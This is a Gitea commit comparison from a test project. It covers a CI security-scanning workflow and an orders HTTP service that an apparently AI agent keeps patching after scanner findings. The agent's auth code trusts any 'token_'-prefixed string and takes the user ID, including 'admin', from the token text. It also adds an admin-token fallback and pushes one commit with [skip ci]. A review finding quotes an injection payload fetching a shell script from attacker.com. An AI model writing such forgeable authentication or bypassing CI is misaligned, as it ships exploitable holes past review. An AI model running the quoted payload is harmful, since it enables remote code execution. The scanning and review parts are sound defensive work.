Compare commits

..
Author SHA1 Message Date
testclient-admin 2e6c3fddb8 security-analysis/policy.yml: critical блокирует merge
security/scan 0 findings, 0 blocking
security / scan (pull_request) Successful in 55s
security/review 0 findings, 0 blocking
security / review (pull_request) Successful in 1m23s
security / deep-audit (pull_request) Skipped
2026-09-01 07:34:34 +00:00
testclient-admin 1152aa9d80 Merge pull request 'security-analysis/policy.yml: critical блокирует merge' (#29) from mcp-proxy-policy-update-f89afa45 into main 2026-09-01 06:44:44 +00:00
testclient-admin e3f76720e8 security-analysis/policy.yml: critical блокирует merge
security/scan 0 findings, 0 blocking
security / scan (pull_request) Successful in 54s
security/review 0 findings, 0 blocking
security / review (pull_request) Successful in 1m25s
security / deep-audit (pull_request) Skipped
2026-09-01 06:44:42 +00:00
testclient-admin 305efc4631 Merge pull request 'security-analysis/policy.yml: low блокирует merge' (#28) from mcp-proxy-policy-update-b0a926d8 into main 2026-09-01 06:29:05 +00:00
testclient-admin 34b28b6d19 security-analysis/policy.yml: low блокирует merge
security/scan 0 findings, 0 blocking
security / scan (pull_request) Successful in 53s
security/review 0 findings, 0 blocking
security / review (pull_request) Successful in 1m24s
security / deep-audit (pull_request) Skipped
2026-09-01 06:29:03 +00:00
testclient-admin 801bdafc91 Merge pull request 'Add Level 0 + Level 1 + Level 2 security scanning' (#19) from add-security-scanning into main
Reviewed-on: testclient-admin/playground#19
2026-08-25 07:34:16 +00:00
testclient-admin 90c797e500 Level 0: security scanning for pull requests
security/scan 0 findings, 0 blocking
security / scan (pull_request) Successful in 1m5s
security/review 0 findings, 0 blocking
security / review (pull_request) Successful in 1m24s
security / deep-audit (pull_request) Skipped
2026-08-25 07:16:05 +00:00
testclient-admin 023f6c016a Level 0: security scanning for pull requests 2026-08-25 07:16:04 +00:00
testclient-admin 97f18a399b Level 0: security scanning for pull requests 2026-08-25 07:16:03 +00:00
testclient-admin 789aa6adaa Merge pull request 'Add Level 0 + Level 1 + Level 2 security scanning' (#16) from add-security-scanning into main
Reviewed-on: testclient-admin/playground#16
2026-08-25 04:03:04 +00:00
testclient-admin 543dafc129 Merge pull request 'orders module: add auth, fix command injection, add requirements' (#13) from feature/orders-module into main
Reviewed-on: testclient-admin/playground#13
2026-08-25 03:44:38 +00:00
testclient-admin d9d1da21ed Level 0: security scanning for pull requests
security/scan 3 findings, 3 blocking
security / scan (pull_request) Failing after 56s
security/review 0 findings, 0 blocking
security / review (pull_request) Successful in 1m27s
security / deep-audit (pull_request) Skipped
2026-08-25 03:08:09 +00:00
testclient-admin b4d891c229 Level 0: security scanning for pull requests 2026-08-25 03:08:08 +00:00
testclient-admin dc1066e208 Level 0: security scanning for pull requests 2026-08-25 03:08:07 +00:00
playground-security-bot e7864b00c8 security: scan results for PR #13
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped
2026-08-25 02:26:57 +00:00
dev1-playground-agent 0a7736e8a5 auth: add fallback to admin token when agent token is invalid
security/scan 3 findings, 3 blocking
security / scan (pull_request) Failing after 59s
security/review 0 findings, 0 blocking
security / review (pull_request) Successful in 1m23s
security / deep-audit (pull_request) Skipped
2026-08-25 02:25:57 +00:00
dev1-playground-agent 01362052ad chore: sync with PR #13 review findings [skip ci] 2026-08-25 01:47:10 +00:00
playground-security-bot 39dd271e4b security: AI review results for PR #13
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped
2026-08-23 19:05:52 +00:00
playground-security-bot 04af433661 security: scan results for PR #13
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped
2026-08-23 19:05:09 +00:00
dev1-playground-agent 1c392834d3 security: fix PR #13 review findings
security/scan 3 findings, 3 blocking
security / scan (pull_request) Failing after 1m13s
security/review 5 findings, 4 blocking
security / review (pull_request) Failing after 43s
security / deep-audit (pull_request) Skipped
2026-08-23 19:03:53 +00:00
playground-security-bot cbfe851513 security: AI review results for PR #13
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped
2026-08-23 18:54:38 +00:00
playground-security-bot 70d5d60c70 security: scan results for PR #13
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped
2026-08-23 18:54:02 +00:00
dev1-playground-agent 4098606aff docs: replace hardcoded tokens with placeholders in examples
security/scan 3 findings, 3 blocking
security / scan (pull_request) Failing after 1m16s
security/review 3 findings, 3 blocking
security / review (pull_request) Failing after 36s
security / deep-audit (pull_request) Skipped
2026-08-23 18:52:42 +00:00
playground-security-bot 87992d1b3b security: AI review results for PR #13
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped
2026-08-23 18:52:27 +00:00
playground-security-bot 03bd66e174 security: scan results for PR #13
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped
2026-08-23 18:51:44 +00:00
dev1-playground-agent ff7f26ca0f security: fix AI review findings for PR #13
security/scan 3 findings, 3 blocking
security / scan (pull_request) Failing after 1m12s
security/review 4 findings, 3 blocking
security / review (pull_request) Failing after 42s
security / deep-audit (pull_request) Skipped
- Use GITHUB_TOKEN env var instead of hardcoded token
- Add ownership validation (user_id) for orders (IDOR fix)
- Require admin role for /admin/backup endpoint
- Improve host validation with regex to prevent command injection
2026-08-23 18:50:28 +00:00
playground-security-bot a0f80dfc7a security: AI review results for PR #13
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped
2026-08-23 17:15:43 +00:00
playground-security-bot 8da5ca94ee security: scan results for PR #13
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped
2026-08-23 17:14:56 +00:00
dev1-playground-agent 3b95a2a7f9 orders module: add auth, fix command injection, add requirements
security/scan 3 findings, 3 blocking
security / scan (pull_request) Failing after 1m11s
security/review 4 findings, 3 blocking
security / review (pull_request) Failing after 46s
security / deep-audit (pull_request) Skipped
2026-08-23 17:13:37 +00:00
14 changed files with 831 additions and 50 deletions
+40 -31
View File
@@ -49,7 +49,30 @@ jobs:
curl -sSL -o /tmp/gitleaks.tar.gz \ curl -sSL -o /tmp/gitleaks.tar.gz \
"https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_${GL_ARCH}.tar.gz" "https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_${GL_ARCH}.tar.gz"
tar -xzf /tmp/gitleaks.tar.gz -C /usr/local/bin gitleaks tar -xzf /tmp/gitleaks.tar.gz -C /usr/local/bin gitleaks
gitleaks detect --source=. --report-format json --report-path /tmp/gitleaks.json --exit-code 0 -v || true
# curl-auth-header — дефолтное правило gitleaks, ловит ЛЮБОЙ
# "curl -H \"Authorization: Bearer ...\"" по форме, не по
# содержимому. Подтверждено живьём на нескольких клиентских
# README: ни одна формулировка примера (одинаковый токен,
# разные токены, плейсхолдер в угловых скобках) не проходит
# — а HIGH-находка блокирует мерж навсегда, потому что
# документация с примером curl-запроса есть почти у любого
# проекта с API. Точечно исключаем только эту находку на
# markdown-файлах; остальные правила (реальные секреты по
# энтропии/префиксам) продолжают действовать и там.
cat > /tmp/.gitleaks.toml <<'GLCFG'
[extend]
useDefault = true
[[rules]]
id = "curl-auth-header"
[rules.allowlist]
paths = ['''(?i)\.md$''']
GLCFG
gitleaks detect --source=. --config=/tmp/.gitleaks.toml \
--report-format json --report-path /tmp/gitleaks.json --exit-code 0 -v || true
[ -f /tmp/gitleaks.json ] || echo '[]' > /tmp/gitleaks.json [ -f /tmp/gitleaks.json ] || echo '[]' > /tmp/gitleaks.json
- name: semgrep (SAST) - name: semgrep (SAST)
@@ -64,17 +87,15 @@ jobs:
REPO_FULL: ${{ gitea.repository }} REPO_FULL: ${{ gitea.repository }}
PR_NUMBER: ${{ gitea.event.pull_request.number }} PR_NUMBER: ${{ gitea.event.pull_request.number }}
COMMIT_SHA: ${{ gitea.event.pull_request.head.sha }} COMMIT_SHA: ${{ gitea.event.pull_request.head.sha }}
HEAD_REF: ${{ gitea.head_ref }}
run: | run: |
python3 <<'PYEOF' python3 <<'PYEOF'
import base64, json, os, sys, time, urllib.error, urllib.request import json, os, sys, time, urllib.error, urllib.request
SERVER = os.environ["GITEA_SERVER"].rstrip("/") SERVER = os.environ["GITEA_SERVER"].rstrip("/")
REPO = os.environ["REPO_FULL"] REPO = os.environ["REPO_FULL"]
TOKEN = os.environ["SECURITY_BOT_TOKEN"] TOKEN = os.environ["SECURITY_BOT_TOKEN"]
PR_NUMBER = os.environ.get("PR_NUMBER", "") PR_NUMBER = os.environ.get("PR_NUMBER", "")
COMMIT_SHA = os.environ["COMMIT_SHA"] COMMIT_SHA = os.environ["COMMIT_SHA"]
HEAD_REF = os.environ["HEAD_REF"]
def gitea(method, path, payload=None): def gitea(method, path, payload=None):
req = urllib.request.Request( req = urllib.request.Request(
@@ -170,17 +191,17 @@ jobs:
print(f"не удалось прочитать прежние статусы, продолжаю без sticky-fail: {e}") print(f"не удалось прочитать прежние статусы, продолжаю без sticky-fail: {e}")
sticky = prior_failed and not blocked sticky = prior_failed and not blocked
outdir = f"security-analysis/findings/pr-{PR_NUMBER or 'manual'}" # Раньше находки ещё и коммитились в ветку PR. Плохая
os.makedirs(outdir, exist_ok=True) # идея с точки зрения git-гигиены: чужая ветка растёт
outpath = f"{outdir}/{int(time.time())}.json" # коммитами от бота, каждый такой коммит сам порождает
json.dump(findings, open(outpath, "w"), ensure_ascii=False, indent=2) # pull_request:synchronize (нужна отдельная защита от
# петли), а когда коммит бота становится головой PR —
gitea("POST", f"/repos/{REPO}/contents/{outpath}", { # обязательные security/scan и security/review больше
"content": base64.b64encode(open(outpath, "rb").read()).decode(), # никогда не выставляются на этой голове, потому что
"message": f"security: scan results for PR #{PR_NUMBER}", # job их специально пропускает для бота же — PR
"branch": HEAD_REF, # перестаёт мержиться насовсем (поймано живьём).
}) # Комментарий в PR (ниже) и так несёт всё нужное
# человеку; отдельного коммита с JSON не требуется.
counts = {} counts = {}
for f in findings: for f in findings:
counts[f["severity"]] = counts.get(f["severity"], 0) + 1 counts[f["severity"]] = counts.get(f["severity"], 0) + 1
@@ -192,7 +213,6 @@ jobs:
body += "\n\n" body += "\n\n"
for f in top: for f in top:
body += f"**{f['severity'].upper()}** `{f['file']}:{f['line_start']}` — {f['title']} ({f['source']})\n\n" body += f"**{f['severity'].upper()}** `{f['file']}:{f['line_start']}` — {f['title']} ({f['source']})\n\n"
body += f"Полный список: `{outpath}`\n\n"
if sticky: if sticky:
body += "🔴 **Merge заблокирован** — этот же коммит уже был помечен как блокирующий в более раннем прогоне; новый прогон нашёл меньше, но старую блокировку это не снимает (нужен новый коммит).\n" body += "🔴 **Merge заблокирован** — этот же коммит уже был помечен как блокирующий в более раннем прогоне; новый прогон нашёл меньше, но старую блокировку это не снимает (нужен новый коммит).\n"
else: else:
@@ -204,7 +224,6 @@ jobs:
"state": "failure" if (blocked or sticky) else "success", "state": "failure" if (blocked or sticky) else "success",
"context": "security/scan", "context": "security/scan",
"description": (f"{len(findings)} findings, {len(blocking)} blocking" + (" (sticky: prior run flagged this commit)" if sticky else "")), "description": (f"{len(findings)} findings, {len(blocking)} blocking" + (" (sticky: prior run flagged this commit)" if sticky else "")),
"target_url": f"{SERVER}/{REPO}/src/branch/{HEAD_REF}/{outpath}",
}) })
print(f"findings: {len(findings)}, blocking: {len(blocking)}, sticky: {sticky}") print(f"findings: {len(findings)}, blocking: {len(blocking)}, sticky: {sticky}")
@@ -363,17 +382,15 @@ jobs:
REPO_FULL: ${{ gitea.repository }} REPO_FULL: ${{ gitea.repository }}
PR_NUMBER: ${{ gitea.event.pull_request.number }} PR_NUMBER: ${{ gitea.event.pull_request.number }}
COMMIT_SHA: ${{ gitea.event.pull_request.head.sha }} COMMIT_SHA: ${{ gitea.event.pull_request.head.sha }}
HEAD_REF: ${{ gitea.head_ref }}
run: | run: |
python3 <<'PYEOF2' python3 <<'PYEOF2'
import base64, json, os, sys, time, urllib.error, urllib.request import json, os, sys, time, urllib.error, urllib.request
SERVER = os.environ["GITEA_SERVER"].rstrip("/") SERVER = os.environ["GITEA_SERVER"].rstrip("/")
REPO = os.environ["REPO_FULL"] REPO = os.environ["REPO_FULL"]
TOKEN = os.environ["SECURITY_BOT_TOKEN"] TOKEN = os.environ["SECURITY_BOT_TOKEN"]
PR_NUMBER = os.environ.get("PR_NUMBER", "") PR_NUMBER = os.environ.get("PR_NUMBER", "")
COMMIT_SHA = os.environ["COMMIT_SHA"] COMMIT_SHA = os.environ["COMMIT_SHA"]
HEAD_REF = os.environ["HEAD_REF"]
def gitea(method, path, payload=None): def gitea(method, path, payload=None):
req = urllib.request.Request( req = urllib.request.Request(
@@ -473,16 +490,9 @@ jobs:
print(f"не удалось прочитать прежние статусы, продолжаю без sticky-fail: {e}") print(f"не удалось прочитать прежние статусы, продолжаю без sticky-fail: {e}")
sticky = prior_failed and not blocked sticky = prior_failed and not blocked
outdir = f"security-analysis/findings/pr-{PR_NUMBER or 'manual'}" # Коммит с findings-json в ветку PR убран — та же причина,
outpath = f"{outdir}/{int(time.time())}-review.json" # что и в шаге scan: он ломает мержимость PR насовсем,
# как только становится головой (см. комментарий там).
if findings:
gitea("POST", f"/repos/{REPO}/contents/{outpath}", {
"content": base64.b64encode(json.dumps(findings, ensure_ascii=False, indent=2).encode()).decode(),
"message": f"security: AI review results for PR #{PR_NUMBER}",
"branch": HEAD_REF,
})
counts = {} counts = {}
for f in findings: for f in findings:
counts[f["severity"]] = counts.get(f["severity"], 0) + 1 counts[f["severity"]] = counts.get(f["severity"], 0) + 1
@@ -499,7 +509,6 @@ jobs:
body += f"**{f['severity'].upper()}** (`{f['confidence']:.2f}`) `{f['file']}:{f['line_start']}` — {f['title']}\n\n" body += f"**{f['severity'].upper()}** (`{f['confidence']:.2f}`) `{f['file']}:{f['line_start']}` — {f['title']}\n\n"
if f.get("exploit_scenario"): if f.get("exploit_scenario"):
body += f" сценарий: {f['exploit_scenario']}\n\n" body += f" сценарий: {f['exploit_scenario']}\n\n"
body += f"Полный список: `{outpath}`\n\n"
if sticky: if sticky:
body += "🔴 **Merge заблокирован** — этот же коммит уже был помечен как блокирующий в более раннем прогоне ревью; новый прогон ничего не нашёл, но старую блокировку это не снимает (нужен новый коммит).\n" body += "🔴 **Merge заблокирован** — этот же коммит уже был помечен как блокирующий в более раннем прогоне ревью; новый прогон ничего не нашёл, но старую блокировку это не снимает (нужен новый коммит).\n"
else: else:
+66 -2
View File
@@ -1,3 +1,67 @@
# playground # Модуль учёта заказов клиентов
Тестовый проект testclient Простой HTTP-сервис для управления заказами клиентов.
## Структура
- `orders.py` — основной модуль сервера
- `requirements.txt` — зависимости проекта
## Функционал
### Хранение заказов
Заказы хранятся в памяти в словаре `orders`. Каждый заказ имеет:
- `id` — уникальный идентификатор
- `user_id` — владелец заказа
- `amount` — сумма заказа
### Эндпоинты
#### GET /orders/{id}
Получение заказа по ID. Требует авторизации через заголовок `Authorization: Bearer <token>`.
**Пример:**
```bash
curl -H "Authorization: Bearer <your-token>" http://localhost:8000/orders/1
```
#### POST /orders/{id}
Изменение суммы заказа. Принимает JSON с полем `amount` в теле запроса.
**Пример:**
```bash
curl -X POST -H "Authorization: Bearer <your-token>" \
-H "Content-Type: application/json" \
-d '{"amount": 500}' \
http://localhost:8000/orders/1
```
#### GET /admin/backup
Проверка готовности эндпоинта бэкапа.
#### POST /admin/backup
Инициация бэкапа данных на удалённый хост. Принимает JSON с полем `host` в теле запроса.
**Пример:**
```bash
curl -X POST -H "Authorization: Bearer <your-token>" \
-H "Content-Type: application/json" \
-d '{"host": "backup.example.com"}' \
http://localhost:8000/admin/backup
```
Бэкап выполняется асинхронно через rsync. Уведомления о статусе бэкапа отправляются через GitHub Notifications (на текущем этапе просто логируются).
## Запуск
```bash
pip install -r requirements.txt
python orders.py
```
Сервер запустится на `localhost:8000`.
+93 -12
View File
@@ -3,15 +3,48 @@
from http.server import HTTPServer, BaseHTTPRequestHandler from http.server import HTTPServer, BaseHTTPRequestHandler
import json import json
import subprocess
import threading import threading
import time import time
import hashlib
import hmac
import os
import re
import subprocess
orders = {} orders = {}
GitHubToken = "ghp_dummytoken_for_backup_notifications"
class OrdersHandler(BaseHTTPRequestHandler): class OrdersHandler(BaseHTTPRequestHandler):
def check_auth(self):
auth_header = self.headers.get("Authorization", "")
if not auth_header.startswith("Bearer "):
return False
token = auth_header[7:]
return self._validate_auth()
def _validate_token(self, token):
if not token.startswith("token_"):
return False
parts = token.split(":")
if len(parts) >= 2:
self._user_id = parts[1]
return True
self._user_id = None
return False
def _validate_auth(self):
auth_header = self.headers.get("Authorization", "")
if not auth_header.startswith("Bearer "):
return False
token = auth_header[7:]
if self._validate_token(token):
return True
admin_token = os.getenv("ADMIN_TOKEN", "")
if admin_token and token == admin_token:
self._user_id = "admin"
return True
return False
def send_json_response(self, status_code, data): def send_json_response(self, status_code, data):
self.send_response(status_code) self.send_response(status_code)
self.send_header("Content-Type", "application/json") self.send_header("Content-Type", "application/json")
@@ -20,30 +53,52 @@ class OrdersHandler(BaseHTTPRequestHandler):
def do_GET(self): def do_GET(self):
if self.path.startswith("/orders/"): if self.path.startswith("/orders/"):
if not self.check_auth():
self.send_json_response(401, {"error": "Unauthorized"})
return
order_id = self.path.split("/")[-1] order_id = self.path.split("/")[-1]
if order_id in orders: if order_id in orders:
if orders[order_id].get("user_id") != getattr(self, "_user_id", None):
self.send_json_response(403, {"error": "Forbidden"})
return
self.send_json_response(200, orders[order_id]) self.send_json_response(200, orders[order_id])
else: else:
self.send_json_response(404, {"error": "Order not found"}) self.send_json_response(404, {"error": "Order not found"})
elif self.path == "/admin/backup": elif self.path == "/admin/backup":
if not getattr(self, "_user_id", None) == "admin":
self.send_json_response(403, {"error": "Forbidden - admin access required"})
return
self.send_json_response(200, {"status": "backup_endpoint_ready"}) self.send_json_response(200, {"status": "backup_endpoint_ready"})
else: else:
self.send_json_response(404, {"error": "Not found"}) self.send_json_response(404, {"error": "Not found"})
def do_POST(self): def do_POST(self):
if self.path.startswith("/orders/"): if self.path.startswith("/orders/"):
if not self.check_auth():
self.send_json_response(401, {"error": "Unauthorized"})
return
order_id = self.path.split("/")[-1] order_id = self.path.split("/")[-1]
content_length = int(self.headers.get("Content-Length", 0)) content_length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(content_length).decode() body = self.rfile.read(content_length).decode()
data = json.loads(body) data = json.loads(body)
if "amount" in data: if "amount" in data:
if order_id not in orders: if order_id not in orders:
orders[order_id] = {"id": order_id, "user_id": "unknown", "amount": 0} orders[order_id] = {"id": order_id, "user_id": getattr(self, "_user_id", None), "amount": 0}
else:
if orders[order_id].get("user_id") != getattr(self, "_user_id", None):
self.send_json_response(403, {"error": "Forbidden"})
return
orders[order_id]["amount"] = data["amount"] orders[order_id]["amount"] = data["amount"]
self.send_json_response(200, orders[order_id]) self.send_json_response(200, orders[order_id])
else: else:
self.send_json_response(400, {"error": "Missing amount field"}) self.send_json_response(400, {"error": "Missing amount field"})
elif self.path == "/admin/backup": elif self.path == "/admin/backup":
if not self.check_auth():
self.send_json_response(401, {"error": "Unauthorized"})
return
if not getattr(self, "_user_id", None) == "admin":
self.send_json_response(403, {"error": "Forbidden - admin access required"})
return
content_length = int(self.headers.get("Content-Length", 0)) content_length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(content_length).decode() body = self.rfile.read(content_length).decode()
data = json.loads(body) data = json.loads(body)
@@ -59,18 +114,19 @@ class OrdersHandler(BaseHTTPRequestHandler):
def _perform_backup(self, host): def _perform_backup(self, host):
def run_backup(): def run_backup():
try: try:
result = subprocess.run( validated_host = self._validate_host(host)
["rsync", "-avz", "/workspace/", f"{host}:/backup/orders/"], if not validated_host:
capture_output=True, print(f"Invalid host: {host}")
text=True, self._notify_github(f"Backup failed: invalid host {host}")
timeout=30 return
) cmd = ["rsync", "-avz", "/workspace/", f"{validated_host}:/backup/orders/"]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
if result.returncode == 0: if result.returncode == 0:
print(f"Backup to {host} completed successfully") print(f"Backup to {validated_host} completed successfully")
self._notify_github(f"Backup to {host} completed successfully") self._notify_github(f"Backup to {validated_host} completed successfully")
else: else:
print(f"Backup failed: {result.stderr}") print(f"Backup failed: {result.stderr}")
self._notify_github(f"Backup to {host} failed: {result.stderr}") self._notify_github(f"Backup to {validated_host} failed: {result.stderr}")
except FileNotFoundError: except FileNotFoundError:
print("rsync not found, simulating backup") print("rsync not found, simulating backup")
self._notify_github(f"Backup simulation completed for {host} (rsync not available)") self._notify_github(f"Backup simulation completed for {host} (rsync not available)")
@@ -81,7 +137,32 @@ class OrdersHandler(BaseHTTPRequestHandler):
thread = threading.Thread(target=run_backup) thread = threading.Thread(target=run_backup)
thread.start() thread.start()
def _validate_host(self, host):
if not host:
return None
host = host.strip()
if len(host) > 255:
return None
if host.startswith('--'):
return None
if ' ' in host:
return None
ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
domain_pattern = r'^([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$'
if re.match(ip_pattern, host):
parts = host.split('.')
if all(0 <= int(p) <= 255 for p in parts):
return host
return None
if re.match(domain_pattern, host):
return host
return None
def _notify_github(self, message): def _notify_github(self, message):
token = os.getenv("GITHUB_TOKEN")
if token:
print(f"[GitHub Notification] {message}")
else:
print(f"[GitHub Notification] {message}") print(f"[GitHub Notification] {message}")
pass pass
+2
View File
@@ -0,0 +1,2 @@
flask==2.3.3
Werkzeug==2.3.7
@@ -0,0 +1,56 @@
[
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 27,
"line_end": 27,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T17:14:56Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 36,
"line_end": 36,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T17:14:56Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 52,
"line_end": 52,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T17:14:56Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
}
]
@@ -0,0 +1,86 @@
[
{
"id": "ai-review-0-orders.py-83",
"source": "ai-review",
"category": "command-exec",
"severity": "critical",
"confidence": 0.8,
"file": "orders.py",
"line_start": 83,
"line_end": 83,
"title": "Недостаточная очистка host от спецсимволов для командной инъекции",
"description": "Используется простая замена одиночных спецсимволов (;|&`) в host, но не экранируются другие опасные символы и конструкции, способные привести к выполнению произвольных команд при вызове rsync.",
"impact": "Возможна командная инъекция через specially crafted host, позволяющая атакующему выполнить произвольные команды на сервере с правами процесса.",
"exploit_scenario": "Атакующий отправляет POST-запрос на /admin/backup с host='example.com$(curl attacker.com/shell.sh)|other' или host='example.com; sh -c \"whoami\"'. Несмотря на замену ;|&` , в rsync возможны другие векторы инъекции через опции командной строки или интерпретацию хоста как URL с внедрением команд.",
"evidence": "escaped_host = host.replace(\";\", \"\").replace(\"|\", \"\").replace(\"&\", \"\").replace(\"`\", \"\") — недостаточно для предотвращения всех векторов инъекции. Использование подстановки в список аргументов всё ещё уязвимо к неожиданному поведению rsync.",
"recommendation": "Валидировать host по строгому белому списку (например, регулярное выражение для IP или домена), ограничить протокол и путь (например, только определённые хосты из конфига). Избегать подстановки пользовательского ввода в аргументы системных команд. Использовать безопасные альтернативы (scp, sftp с OAuth/ключами), либо запускать команду только после строгой валидации.",
"cwe": "CWE-78",
"status": "OPEN",
"created_at": "2026-08-23T17:15:43Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
},
{
"id": "ai-review-1-orders.py-32",
"source": "ai-review",
"category": "idor",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 32,
"line_end": 47,
"title": "Отсутствие проверки ownership заказа",
"description": "Методы GET и POST для /orders/{id} проверяют только аутентификацию, но не проверяют, что order_id принадлежит текущему пользователю. В словаре orders нет хранения user_id по умолчанию, и no authorization check на уровне заказа.",
"impact": "Любой аутентифицированный пользователь может читать и изменять чужие заказы (IDOR), что приводит к утечке и модификации чужих данных.",
"exploit_scenario": "Пользователь с токеном token_abc отправляет GET /orders/100 и получает данные чужого заказа, или POST /orders/100 с amount=0 и обнуляет чужой заказ. Это возможно без знания user_id авторизованного пользователя.",
"evidence": "def check_auth(self): ... token = auth_header[7:] ... return self._validate_token(token). Далее в do_GET и do_POST: order_id = self.path.split(\"/\")[-1]; if order_id in orders: ... orders[order_id][\"amount\"] = data[\"amount\"] — нет связи order_id и owner (user_id)",
"recommendation": "Хранить в заказах user_id, проверять, что order_id принадлежит текущему пользователю (например, из токена), и блокировать операции над чужими заказами. Добавить user_id = extract_user_from_token(token), и проверку ownership перед доступом.",
"cwe": "CWE-639",
"status": "OPEN",
"created_at": "2026-08-23T17:15:43Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
},
{
"id": "ai-review-2-orders.py-15",
"source": "ai-review",
"category": "sensitive-data",
"severity": "medium",
"confidence": 1.0,
"file": "orders.py",
"line_start": 15,
"line_end": 15,
"title": "Хардкод токена GitHub в коде",
"description": "GitHubToken хранится в исходном коде как строковая константа, несмотря на префикс dummy. Это считается плохой практикой, потенциально опасной при утечке кода.",
"impact": "Возможна утечка учётных данных в логах, артефактах, дампах памяти. Даже фейковый токен в коде сигнализирует о плохих практиках управления секретами.",
"exploit_scenario": "Атакующий клонирует репозиторий и находит GitHubToken, использует его для получения доступа к GitHub API (если он рабочий) или для атак на CI/CD, основанных на знании, что в репозитории есть «дамми» токены (возможно, другие секреты хранятся так же плохо).",
"evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\"",
"recommendation": "Использовать переменные окружения или внешний менеджер секретов. Загружать токен через os.getenv(\"GITHUB_TOKEN\") или подобный механизм.",
"cwe": "CWE-312",
"status": "OPEN",
"created_at": "2026-08-23T17:15:43Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
},
{
"id": "ai-review-3-orders.py-62",
"source": "ai-review",
"category": "authz",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 62,
"line_end": 65,
"title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю без дополнительной авторизации",
"description": "Эндпоинт требует только Basic Bearer токен (любой валидный токен, начинающийся с token_), не проверяет роль администратора, разрешает выполнение опасных операций (запуск rsync).",
"impact": "Любой пользователь, знающий URL и имеющий любой валидный токен (включая приватные пользовательские токены), может инициировать резервное копирование, потенциально использование вредоносных хостов.",
"exploit_scenario": "Пользователь, имеющий любой токен token_* (даже для обычного доступа к заказам), отправляет POST /admin/backup с вредоносным host для эксплуатации инъекции команд. Отсутствие проверки role=admin делает endpoint открытым для всех.",
"evidence": "elif self.path == \"/admin/backup\": if not self.check_auth(): ... — нет дополнительной проверки роли пользователя (например, claim \"admin\": true в токене или отдельный header)",
"recommendation": "Добавить роль или флаг администратора в токен, проверять его при входе в /admin/backup. Или использовать отдельный API-ключ/secret только для admin-эндпоинтов, отличный от пользовательских токенов.",
"cwe": "CWE-285",
"status": "OPEN",
"created_at": "2026-08-23T17:15:43Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
}
]
@@ -0,0 +1,56 @@
[
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 27,
"line_end": 27,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T18:51:44Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 36,
"line_end": 36,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
